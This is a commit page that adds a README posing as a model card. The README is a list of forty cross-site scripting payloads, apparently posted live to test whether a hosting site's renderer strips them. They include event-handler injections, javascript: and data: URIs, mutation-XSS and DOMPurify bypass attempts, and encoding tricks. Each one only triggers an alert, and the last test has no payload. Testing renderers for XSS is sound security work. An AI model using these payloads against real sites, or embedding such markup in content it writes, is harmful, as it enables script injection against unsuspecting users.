Add XSS test README
Browse files
README.md
ADDED
|
@@ -0,0 +1,131 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: mit
|
| 3 |
+
tags:
|
| 4 |
+
- test
|
| 5 |
+
---
|
| 6 |
+
|
| 7 |
+
# XSS Test Model Card
|
| 8 |
+
|
| 9 |
+
## Test 1: Basic HTML injection
|
| 10 |
+
<img src=x onerror=alert(1)>
|
| 11 |
+
|
| 12 |
+
## Test 2: SVG onload
|
| 13 |
+
<svg onload=alert(1)>
|
| 14 |
+
|
| 15 |
+
## Test 3: Details ontoggle
|
| 16 |
+
<details open ontoggle=alert(1)><summary>test</summary>content</details>
|
| 17 |
+
|
| 18 |
+
## Test 4: JavaScript link
|
| 19 |
+
<a href="javascript:alert(1)">Click me JS</a>
|
| 20 |
+
|
| 21 |
+
## Test 5: Markdown JS link
|
| 22 |
+
[Click me MD](javascript:alert(1))
|
| 23 |
+
|
| 24 |
+
## Test 6: iframe
|
| 25 |
+
<iframe src="javascript:alert(1)">
|
| 26 |
+
|
| 27 |
+
## Test 7: img with onerror
|
| 28 |
+
<img src="x" onerror="alert(document.domain)">
|
| 29 |
+
|
| 30 |
+
## Test 8: Math/mtext mutation XSS
|
| 31 |
+
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
|
| 32 |
+
|
| 33 |
+
## Test 9: Object tag
|
| 34 |
+
<object data="javascript:alert(1)">
|
| 35 |
+
|
| 36 |
+
## Test 10: Body onload
|
| 37 |
+
<body onload=alert(1)>
|
| 38 |
+
|
| 39 |
+
## Test 11: Marquee onstart
|
| 40 |
+
<marquee onstart=alert(1)>test</marquee>
|
| 41 |
+
|
| 42 |
+
## Test 12: Input onfocus autofocus
|
| 43 |
+
<input onfocus=alert(1) autofocus>
|
| 44 |
+
|
| 45 |
+
## Test 13: Select onfocus autofocus
|
| 46 |
+
<select onfocus=alert(1) autofocus>
|
| 47 |
+
|
| 48 |
+
## Test 14: Textarea onfocus autofocus
|
| 49 |
+
<textarea onfocus=alert(1) autofocus>
|
| 50 |
+
|
| 51 |
+
## Test 15: Style tag
|
| 52 |
+
<style>@import 'javascript:alert(1)'</style>
|
| 53 |
+
|
| 54 |
+
## Test 16: Link tag
|
| 55 |
+
<link rel="stylesheet" href="javascript:alert(1)">
|
| 56 |
+
|
| 57 |
+
## Test 17: Video source
|
| 58 |
+
<video><source onerror=alert(1)>
|
| 59 |
+
|
| 60 |
+
## Test 18: Audio source
|
| 61 |
+
<audio><source onerror=alert(1)>
|
| 62 |
+
|
| 63 |
+
## Test 19: Script tag
|
| 64 |
+
<script>alert(1)</script>
|
| 65 |
+
|
| 66 |
+
## Test 20: Base href
|
| 67 |
+
<base href="javascript:alert(1)//">
|
| 68 |
+
|
| 69 |
+
## Test 21: HTML entities bypass
|
| 70 |
+
<img src=x onerror=alert(1)>
|
| 71 |
+
|
| 72 |
+
## Test 22: Unicode bypass
|
| 73 |
+
＜script＞alert(1)＜/script＞
|
| 74 |
+
|
| 75 |
+
## Test 23: Data URI image
|
| 76 |
+
<img src="data:text/html,<script>alert(1)</script>">
|
| 77 |
+
|
| 78 |
+
## Test 24: SVG use tag
|
| 79 |
+
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)'/></svg>#x">
|
| 80 |
+
|
| 81 |
+
## Test 25: Custom element
|
| 82 |
+
<custom-element onload=alert(1)>test</custom-element>
|
| 83 |
+
|
| 84 |
+
## Test 26: MathML injection
|
| 85 |
+
<math><mi//xlink:href="data:x,<script>alert(1)</script>">
|
| 86 |
+
|
| 87 |
+
## Test 27: Template tag
|
| 88 |
+
<template><img src=x onerror=alert(1)></template>
|
| 89 |
+
|
| 90 |
+
## Test 28: Noscript tag
|
| 91 |
+
<noscript><img src=x onerror=alert(1)></noscript>
|
| 92 |
+
|
| 93 |
+
## Test 29: DOMPurify bypass attempts
|
| 94 |
+
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
|
| 95 |
+
|
| 96 |
+
## Test 30: Meta tag
|
| 97 |
+
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
|
| 98 |
+
|
| 99 |
+
## Test 31: Embed tag
|
| 100 |
+
<embed src="javascript:alert(1)">
|
| 101 |
+
|
| 102 |
+
## Test 32: Mutation XSS via namespace confusion
|
| 103 |
+
<svg></p><style><g/onload=alert(1)>
|
| 104 |
+
|
| 105 |
+
## Test 33: Event handler variations
|
| 106 |
+
<img src=x onerror="alert`1`">
|
| 107 |
+
<img src=x onerror=alert(1)>
|
| 108 |
+
<img/src=x onerror=alert(1)>
|
| 109 |
+
|
| 110 |
+
## Test 34: Tab/newline bypass
|
| 111 |
+
<img src=x onerror =alert(1)>
|
| 112 |
+
<img src=x one
|
| 113 |
+
rror=alert(1)>
|
| 114 |
+
|
| 115 |
+
## Test 35: CSS expression
|
| 116 |
+
<div style="background:url(javascript:alert(1))">test</div>
|
| 117 |
+
|
| 118 |
+
## Test 36: Anchor with data URI
|
| 119 |
+
<a href="data:text/html,<script>alert(1)</script>">data URI</a>
|
| 120 |
+
|
| 121 |
+
## Test 37: Form action
|
| 122 |
+
<form action="javascript:alert(1)"><button>submit</button></form>
|
| 123 |
+
|
| 124 |
+
## Test 38: SVG with foreignObject
|
| 125 |
+
<svg><foreignObject><body onload=alert(1)></foreignObject></svg>
|
| 126 |
+
|
| 127 |
+
## Test 39: HTML comment trick
|
| 128 |
+
<!--><img src=x onerror=alert(1)>-->
|
| 129 |
+
|
| 130 |
+
## Test 40: Encoded events in markdown
|
| 131 |
+
|